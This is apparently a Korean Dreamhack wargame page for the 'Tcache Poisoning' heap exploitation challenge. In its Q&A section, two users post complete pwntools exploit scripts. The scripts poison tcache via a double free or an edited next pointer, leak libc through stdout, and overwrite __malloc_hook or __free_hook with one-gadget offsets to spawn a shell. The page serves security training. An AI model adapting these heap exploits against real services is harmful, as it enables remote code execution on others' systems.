LEVEL 3

Tcache Poisoning

pwnable
  • 문제 정보
  • 풀이 53
  • 난이도 투표 138
  • 질문 19
  • 최근 풀이자 1089
  • 댓글 30

문제 설명

Description

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

Challenge Updates

2023.04.28: Dockerfile이 제공됩니다.

난이도 투표 138

질문 19

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
__malloc_hook으로 시도해보았지만...
안녕하세요 고수분들 바쁘실텐데 제 질문에 귀중한 시간 내어주셔서 우선 감사인사 드립니다. 강의 익스 과정대로 __free_hook을 overwrite하는데는 이해하고 익스해봤는데요 __malloc_hook을 덮어도 익스해보면 어떨까 했는데 잘 되지않았습니다. __malloc_hook을 libc-2.27.so의 one gadget으로 overwrite하고 switch구문 allocation 1.에 malloc호출해봤는데 EOF 혹은 가젯을 지나쳐 printf("Content: ")이후의 read함수에 걸리지만 쉘이 키보드 입력에 반응하지않습니다. 아직 초보라 개념이 잘 안잡혀있긴한데 이해하려고 최대한 노력해보겠습니다. 포너블 고수님ㅠㅠ 도와주세요!! #!/usr/bin/env python3 from pwn import * def slog(name, addr): return log.success(': '.join([name, hex(addr)])) target_file = './tcache_poison' p = process(target_file, env={'LD_PRELOAD' : './libc-2.27.so'}) p = remote('host3.dreamhack.games', 23578) elf = ELF(target_file) ''' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ''' libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'4. Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) def free(): p.sendlineafter(b'4. Edit\n', b'2') def print_chunk(): p.sendlineafter(b'4. Edit\n', b'3') def edit_chunk(content): p.sendlineafter(b'4. Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) if name == 'main': Initial tcache[0x40] is empty. tcache[0x40]: Empty Allocate and free a chunk of size 0x40 (chunk A) tcache[0x40]: chunk A allocate(0x40, b'dreamhack') free() Free chunk A again, bypassing the DFB mitigation tcache[0x40]: chunk A -> chunk A edit_chunk(p64(0) + b'\xff') free() DFB segment fault check allocate(0x40, b'dreamhack') allocate(0x40, b'dreamhack') Append address of stdout to tcache[0x40] tcache[0x40]: chunk A -> stdout -> IO_2_1_stdout -> ... addr_stdout = elf.symbols['stdout'] allocate(0x40, p64(addr_stdout)) tcache[0x40]: stdout -> IO_2_1_stdout -> ... allocate(0x40, b'dreamhack') tcache[0x40]: IO_2_1_stdout -> ... io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # least significant byte of IO_2_1_stdout allocate(0x40, _io_2_1_stdout_lsb) # allocated at stdout Libc leak print_chunk() p.recvuntil('Content: ') stdout = u64(p.recv(6).ljust(8, b'\x00')) slog('stdout', stdout) libc_base = stdout - libc.symbols['IO_2_1_stdout'] slog('libc_base', libc_base) mh = libc_base + libc.symbols['__malloc_hook'] slog('malloc_hook', mh) fh = libc_base + libc.symbols['__free_hook'] slog('free_hook', fh) og_list = [0x4f3ce, 0x4f3d5, 0x4f432, 0x10a41c] one_gadget = libc_base + og_list[3] slog('one_gadget', one_gadget) Overwrite the __malloc_hook with the address of one-gadget Initial tcache[0x50] is empty. tcache[0x50]: Empty tcache[0x50]: chunk B allocate(0x50, b'dreamhack') free() tcache[0x50]: chunk B -> chunk B -> ... edit_chunk(p64(0) + b'\xff') free() tcache[0x50]: chunk B -> __malloc_hook allocate(0x50, p64(mh)) tcache[0x50]: __free_hook allocate(0x50, b'dreamhack') __malloc_hook = the address of one-gadget allocate(0x50, p64(one_gadget)) Call malloc() to get shell allocate(0x50, p64(0)) free() allocate(0x50, p64(one_gadget)[0:1]) Communicate with shell p.interactive() `
oled는다크테마를좋아해
DFB 사용을 꼭 해야하는 이유가 있을까요 ?
이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ? from pwn import * p = remote('host3.dreamhack.games', 24385) elf = ELF('./tcache_poison') libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨 def free(): p.sendlineafter(b'Edit\n', b'2') def print_chunk(): p.sendlineafter(b'Edit\n', b'3') def edit(content): p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) tcache[0x40] : empty chunk : first(1) allocate(0x30, b'first') tcache[0x40] : first(1) chunk : first(1) free() # (1) tcache[0x40] : first(1) -> stdout -> IO_2_1_stdout chunk : first(1) stdout = elf.symbols['stdout'] edit(p64(stdout) + b'a') tcache[0x40] : stdout -> IO_2_1_stdout chunk : first(1) allocate(0x30, b'a') 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음 tcache[0x40] : IO_2_1_stdout chunk : stdout IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb allocate(0x30, _IO_2_1_stdout_lsb) 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) IO_2_1_stdout을 변조하면 안됨 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각) print_chunk() # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력 p.recvuntil(b'Content: ') # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능 Leak libc base libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['IO_2_1_stdout'] free_hook = libc_base + libc.symbols['__free_hook'] og = libc_base + 0x4f3ce og = libc_base + 0x4f3d5 og = libc_base + 0x4f432 og = libc_base + 0x10a41c 여기서 tcache[0x40] 을 다시 쓰면 IO_2_1_stdout을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함 tcache[0x50] : empty chunk : first(1) allocate(0x40, b'first') tcahce[0x50] : first(1) chunk : first(1) free() tcache[0x50] : first(1) -> free_hook chunk : first(1) edit(p64(free_hook)) tcache[0x50] : free_hook chunk : first(1) allocate(0x40, b'a') tcache[0x50] : empty chunk : free_hook allocate(0x40, p64(og)) # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨 Exploit free() p.interactive() `
avatar ro
LEVEL 3

Tcache Poisoning

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

최근 풀이자 1089

avatar
Kanzaki
대표 업적 없음
revivalroot
웹해킹 전문가
whoami_mr.x
대표 업적 없음
timpsa12
시스템 해킹 초심자
avatar
메타
대표 업적 없음
avatar
syn9
대표 업적 없음
avatar
hsnyus
Cloud 9
AERIS
대표 업적 없음
avatar
거북목마스터
암호학 고인물
김갱덕
시스템 해킹 중급자

댓글 30

딸기백설기
대표 업적 없음
강의 이론내용만 학습해서는 생각할 수 없는 부분이 있어서 어렵네요.....
PUPU
대표 업적 없음
멀록 코드를 한달동안 본 보람이 있는 문제
파일 다운받은 프로그램을 checksec을 하면 PIE가 적용된 걸로 나오는데, 서버에선 적용이 안됐으니 이 부분을 꼭 알아두세요 또 stdout 값을 반드시 확인하시길
avatar
Rootsquare
바탈리온
시스템해킹 로드맵 최고 난이도 문제. heap과ptmalloc의 동작을 총동원해서 이해하자!
avatar
aaaaaaaaaaaaaaaaaaaaaaaa
대표 업적 없음
포너블 어렵다...
avatar
사용자
소통요정
좋은 연습문제입니다~
avatar
KnightChaser
공부벌레
뉴비한테는 좀 매운맛...☆
avatar
is07king
워게임: 1
어려워여
DFB
avatar
UKO
대표 업적 없음
:)